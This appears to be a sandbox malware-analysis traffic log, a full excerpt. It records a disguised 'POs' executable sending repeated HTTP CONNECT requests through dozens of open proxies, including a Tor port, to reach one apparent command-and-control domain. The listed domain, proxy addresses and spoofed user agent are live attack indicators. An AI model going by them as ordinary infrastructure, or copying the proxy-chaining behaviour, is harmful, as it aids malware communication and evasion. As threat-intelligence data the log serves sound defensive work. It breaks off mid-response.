Mar 11, 2024 16:42:36.142050028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:54.175337076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:30.297765017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:06.297743082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.11	52593	104.25.231.184	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.153187037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.307370901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.11	52605	104.23.126.8	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.159120083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.313437939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.11	51455	117.160.250.163	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.159209967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.811554909 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:42:22 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.11	51598	183.88.212.184	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.169713974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.173289061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.358623981 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.11	50362	192.163.202.88	60964	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.169907093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.173300028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.188999891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.282787085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.282237053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.282314062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.377746105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.469666958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.11	51707	189.240.60.166	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.172693014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.194407940 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.11	52633	104.21.218.103	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.177160978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.334188938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.11	52044	142.54.236.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.192770958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.11	52666	104.20.178.166	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.195369959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.349649906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.11	52642	162.214.121.11	2993	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.210129023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688800097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376609087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688858986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.985790968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376544952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.688837051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.188895941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.188695908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.11	51896	104.238.111.107	30026	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.215483904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.329389095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.345325947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.438793898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.454324007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.454060078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:58.454049110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.11	52565	85.239.121.168	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.220422029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.11	52068	184.185.105.105	4481	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.222202063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.720319986 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.11	52653	44.226.167.102	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.222342014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.413671017 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:22 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.11	52579	70.166.167.55	57745	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.327224016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.11	50382	190.114.245.122	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.327502966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.329534054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.345335960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.438791037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.454546928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.485347986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.314503908 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.11	50421	51.158.77.220	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.347105026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.036413908 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the 